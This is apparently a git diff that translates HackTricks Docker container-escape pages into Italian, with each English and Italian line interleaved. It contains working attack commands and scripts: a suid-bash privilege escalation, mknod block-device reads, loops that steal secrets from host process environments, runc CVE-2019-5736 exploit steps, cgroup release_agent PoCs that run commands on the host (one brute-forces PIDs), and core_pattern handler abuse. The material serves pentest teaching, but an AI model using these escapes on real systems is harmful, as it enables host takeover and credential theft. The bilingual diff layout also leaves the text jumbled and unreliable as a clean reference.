Ci sono diversi file che potrebbero essere montati che forniscono **informazioni sull'host sottostante**. Alcuni di essi potrebbero persino indicare **qualcosa da eseguire da parte dell'host quando accade qualcosa** (il che consentirà a un attaccante di uscire dal container).\
L'abuso di questi file potrebbe consentire:
- release_agent (already covered before)
- release_agent (già trattato in precedenza)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
Tuttavia, puoi trovare **altri file sensibili** da controllare in questa pagina:
{{#ref}}
sensitive-mounts.md
@ -359,17 +329,14 @@ sensitive-mounts.md
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
In diverse occasioni scoprirai che il **container ha qualche volume montato dall'host**. Se questo volume non è stato configurato correttamente, potresti essere in grado di **accedere/modificare dati sensibili**: leggere segreti, cambiare ssh authorized_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Privilege Escalation con 2 shell e montaggio host
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
Se hai accesso come **root all'interno di un container** che ha una cartella del host montata e hai **escapato come utente non privilegiato al host** e hai accesso in lettura sulla cartella montata.\
Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dal host** per privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation con 2 shell
### Privilege Escalation with 2 shells
Se hai accesso come **root all'interno di un container** e sei **uscito come utente non privilegiato nell'host**, puoi abusare di entrambe le shell per **privesc all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tale capacità, l'utente root all'interno del container è autorizzato a **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda consente di **leggere i dati grezzi sul disco del sistema**.
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Docker protegge contro l'uso improprio dei dispositivi a blocchi all'interno dei container imponendo una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che **il proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
Esempio di **sfruttamento** da questo [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
Se puoi accedere ai processi dell'host, sarai in grado di accedere a molte informazioni sensibili memorizzate in quei processi. Esegui il laboratorio di test:
```
docker run --rm -it --pid=host ubuntu bash
```
Ad esempio, sarai in grado di elencare i processi utilizzando qualcosa come `ps auxn` e cercare dettagli sensibili nei comandi.
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
Poi, poiché puoi **accedere a ciascun processo dell'host in /proc/ puoi semplicemente rubare i loro segreti ambientali** eseguendo:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
Puoi anche **accedere ai descrittori di file di altri processi e leggere i loro file aperti**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
Puoi anche **terminare processi e causare un DoS**.
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> Se in qualche modo hai **accesso privilegiato su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Se un contenitore è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel contenitore non è isolato dal host Docker (il contenitore condivide lo spazio dei nomi di rete dell'host) e il contenitore non riceve un proprio indirizzo IP allocato. In altre parole, il **contenitore lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il contenitore può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
Ad esempio, puoi utilizzare questo per **sniffare e persino spoofare il traffico** tra l'host e l'istanza di metadata.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
Come nei seguenti esempi:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un contenitore può accedere).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Con `hostIPC=true`, ottieni accesso alle risorse di comunicazione inter-processo (IPC) dell'host, come **memoria condivisa** in `/dev/shm`. Questo consente di leggere/scrivere dove le stesse risorse IPC sono utilizzate da altri processi dell'host o del pod. Usa `ipcs` per ispezionare ulteriormente questi meccanismi IPC.
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
- **Ispeziona /dev/shm** - Cerca eventuali file in questa posizione di memoria condivisa: `ls -la /dev/shm`
- **Ispeziona le strutture IPC esistenti** Puoi controllare se ci sono strutture IPC in uso con `/usr/bin/ipcs`. Controllalo con: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### Recupera capacità
Se la syscall **`unshare`** non è vietata, puoi recuperare tutte le capacità eseguendo:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Abuso del namespace utente tramite symlink
### User namespace abuse via symlink
La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica come puoi abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file).
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
## CVE
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
### Exploit Runc (CVE-2019-5736)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Nel caso tu possa eseguire `docker exec` come root (probabilmente con sudo), prova a elevare i privilegi fuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica **sovrascriverà** il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
Modifica il payload di conseguenza e costruisci il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container docker per l'esecuzione.\
All'esecuzione, non appena visualizza `[+] Overwritten /bin/sh successfully` devi eseguire il seguente comando dalla macchina host:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
Questo attiverà il payload presente nel file main.go.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> Ci sono altre CVE a cui il container può essere vulnerabile, puoi trovare un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape
## Escape Personalizzato di Docker
### Docker Escape Surface
### Superficie di Escape di Docker
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **Namespaces:** Il processo dovrebbe essere **completamente separato da altri processi** tramite namespaces, quindi non possiamo fuggire interagendo con altri procs a causa dei namespaces (per impostazione predefinita non possono comunicare tramite IPC, socket unix, servizi di rete, D-Bus, `/proc` di altri procs).
- **Utente root**: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati).
- **Capabilities**: Docker lascia le seguenti capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Queste sono le syscalls che l'**utente root non potrà chiamare** (a causa della mancanza di capabilities + Seccomp). Le altre syscalls potrebbero essere utilizzate per cercare di fuggire.
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**Per ulteriori dettagli, fare riferimento al** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
La prova di concetto (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivando la sua invocazione per eseguire comandi arbitrari sull'host del container. Ecco una suddivisione dei passaggi coinvolti:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **Preparare l'Ambiente:**
- Viene creata una directory `/tmp/cgrp` per fungere da punto di montaggio per il cgroup.
- Il controller cgroup RDMA è montato su questa directory. In caso di assenza del controller RDMA, si suggerisce di utilizzare il controller cgroup `memory` come alternativa.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **Imposta il Cgroup Figlio:**
- Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata.
- Le notifiche sono abilitate per il cgroup "x" scrivendo 1 nel suo file notify_on_release.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **Configura il Release Agent:**
- Il percorso del container sull'host è ottenuto dal file /etc/mtab.
- Il file release_agent del cgroup viene quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **Crea e Configura lo Script /cmd:**
- Lo script /cmd viene creato all'interno del container ed è configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **Attivare l'attacco:**
- Un processo viene avviato all'interno del cgroup figlio "x" e viene immediatamente terminato.
- Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output in /output all'interno del container.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
Per ulteriori dettagli **controlla il blog port da [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Questo è solo un riassunto:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
La tecnica delinea un metodo per **eseguire codice host da all'interno di un container**, superando le sfide poste dalle configurazioni del driver di archiviazione che oscurano il percorso del filesystem del container sull'host, come Kata Containers o impostazioni specifiche di `devicemapper`.
Key steps:
Passaggi chiave:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **Localizzazione degli ID di processo (PID):** Utilizzando il collegamento simbolico `/proc/<pid>/root` nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host.
2. **Bashing del PID:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc/<pid>/root/<file>`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target.
3. **Attivazione dell'esecuzione:** Il percorso del PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output.
### Exploitation Process
### Processo di sfruttamento
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione del cgroup.
2. **Prepara il payload:** Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile.
3. **Configura il cgroup:** Il cgroup viene montato e configurato. Il flag `notify_on_release` è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato.
4. **Forza bruta PID:** Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file `release_agent`. Questo imposta effettivamente lo script payload come `release_agent`.
5. **Attiva e controlla l'esecuzione:** Per ogni PID, il `cgroup.procs` del cgroup viene scritto, attivando l'esecuzione del `release_agent` se il PID è corretto. Il ciclo continua fino a quando non viene trovato l'output dello script payload, indicando un'esecuzione riuscita.
PoC dal post del blog:
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,181 +2,173 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto.
{% embed url="https://websec.nl/" %}
**Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
## Vulnerabilità di procfs
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
Questa directory consente l'accesso per modificare le variabili del kernel, di solito tramite `sysctl(2)`, e contiene diverse sottodirectory di interesse:
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- Descritto in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Consente di definire un programma da eseguire alla generazione di un file core con i primi 128 byte come argomenti. Questo può portare all'esecuzione di codice se il file inizia con una pipe `|`.
- **Esempio di test e sfruttamento**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test di accesso in scrittura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Imposta gestore personalizzato
sleep 5 && ./crash & # Attiva gestore
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- Dettagliato in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contiene il percorso per il caricatore di moduli del kernel, invocato per caricare i moduli del kernel.
- **Esempio di controllo accesso**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- Riferito in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
